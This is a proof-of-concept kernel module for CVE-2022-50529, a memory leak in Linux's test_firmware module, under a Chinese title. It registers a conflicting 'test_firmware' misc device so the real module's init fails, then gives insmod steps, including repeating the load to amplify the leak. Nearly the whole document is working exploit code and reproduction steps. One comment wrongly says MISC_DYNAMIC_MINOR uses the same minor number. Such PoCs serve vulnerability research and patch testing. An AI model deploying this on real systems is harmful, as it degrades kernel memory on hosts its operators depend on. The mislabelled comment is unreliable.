CVE-2022-50529 Linux内核test_firmware模块内存泄漏漏洞

// PoC for CVE-2022-50529 - Linux Kernel test_firmware memory leak // This PoC demonstrates how to trigger the memory leak by causing // misc_register() to fail in test_firmware_init() #include <linux/module.h> #include <linux/init.h> #include <linux/fs.h> #include <linux/miscdevice.h> // Pre-occupy the misc device number that test_firmware uses // to cause misc_register() to fail in test_firmware_init() static struct miscdevice my_misc_dev = { .minor = MISC_DYNAMIC_MINOR, // Use same minor number .name = "test_firmware", // Same name to cause conflict .fops = NULL, }; static int __init poc_init(void) { int ret; // Register a misc device with the same name to occupy the slot // This will cause test_firmware's misc_register() to fail ret = misc_register(&my_misc_dev); if (ret) { pr_err("Failed to register blocking device: %d\n", ret); return ret; } pr_info("PoC loaded - test_firmware misc_register will fail\n"); pr_info("Now loading test_firmware module will leak memory\n"); return 0; } static void __exit poc_exit(void) { misc_deregister(&my_misc_dev); pr_info("PoC unloaded\n"); } module_init(poc_init); module_exit(poc_exit); MODULE_LICENSE("GPL"); MODULE_AUTHOR("Security Researcher"); MODULE_DESCRIPTION("PoC for CVE-2022-50529 test_firmware memory leak"); // Steps to reproduce: // 1. Load this PoC module first: insmod poc_module.ko // 2. Then try to load test_firmware: insmod test_firmware.ko // 3. misc_register() will fail because the name is already taken // 4. Check kernel log for memory leak warning: // unreferenced object 0xffff88810a34cb00 (size 32) // 5. Repeat steps 2 to amplify the memory leak